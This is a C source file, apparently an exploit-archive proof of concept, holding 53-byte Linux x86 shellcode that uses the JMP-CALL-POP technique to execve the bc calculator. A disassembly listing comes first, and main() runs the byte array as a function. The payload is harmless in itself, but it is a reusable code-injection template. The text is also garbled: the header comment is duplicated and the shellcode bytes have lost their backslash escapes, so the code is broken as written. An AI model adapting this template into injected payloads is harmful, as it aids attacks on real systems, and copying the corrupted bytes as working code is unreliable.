/*
; Date: 27/01/2019
; Execve_Calc.asm
; Author: Daniele Votta
; Description: This program invoke excve to run terminal calculator (bc).
; Tested on: i686 GNU/Linux
/*
; Date: 27/01/2019
; Execve_Calc.asm
; Author: Daniele Votta
; Description: This program invoke excve to run terminal calculator (bc).
; Tested on: i686 GNU/Linux
; Shellcode Length:53
; JMP | CALL | POP | Techniques
*/

#include<stdio.h>
#include<string.h>

/*
; Execve_Calc: file format elf32-i386
;
; Disassembly of section .text:
; 08048080 <_start>:
; 8048080: eb 1a jmp 804809c <call_shellcode>
;
; 08048082 <shellcode>:
; 8048082: 5e pop esi
; 8048083: 31 db xor ebx,ebx
; 8048085: 88 5e 0b mov BYTE PTR [esi+0xb],bl
; 8048088: 89 76 0c mov DWORD PTR [esi+0xc],esi
; 804808b: 89 5e 10 mov DWORD PTR [esi+0x10],ebx
; 804808e: 8d 1e lea ebx,[esi]
; 8048090: 8d 4e 0c lea ecx,[esi+0xc]
; 8048093: 8d 56 10 lea edx,[esi+0x10]
; 8048096: 31 c0 xor eax,eax
; 8048098: b0 0b mov al,0xb
; 804809a: cd 80 int 0x80
;
; 0804809c <call_shellcode>:
; 804809c: e8 e1 ff ff ff call 8048082 <shellcode>
;
; 080480a1 <message>:
; 80480a1: 2f das
; 80480a2: 75 73 jne 8048117 <_end+0x5f>
; 80480a4: 72 2f jb 80480d5 <_end+0x1d>
; 80480a6: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
; 80480a9: 2f das
; 80480aa: 62 63 41 bound esp,QWORD PTR [ebx+0x41]
; 80480ad: 42 inc edx
; 80480ae: 42 inc edx
; 80480af: 42 inc edx
; 80480b0: 42 inc edx
; 80480b1: 43 inc ebx
; 80480b2: 43 inc ebx
; 80480b3: 43 inc ebx
; 80480b4: 43 inc ebx
======================= POC Daniele Votta =======================
*/

unsigned char shellcode[] =
"xebx1ax5ex31xdbx88x5ex0bx89x76x0cx89x5ex10x8dx1ex8dx4ex0cx8dx56x10x31xc0xb0x0bxcdx80xe8xe1xffxffxffx2fx75x73x72x2fx62x69x6ex2fx62x63x41x42x42x42x42x43x43x43x43";

int main()
{
printf("Shellcode Length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}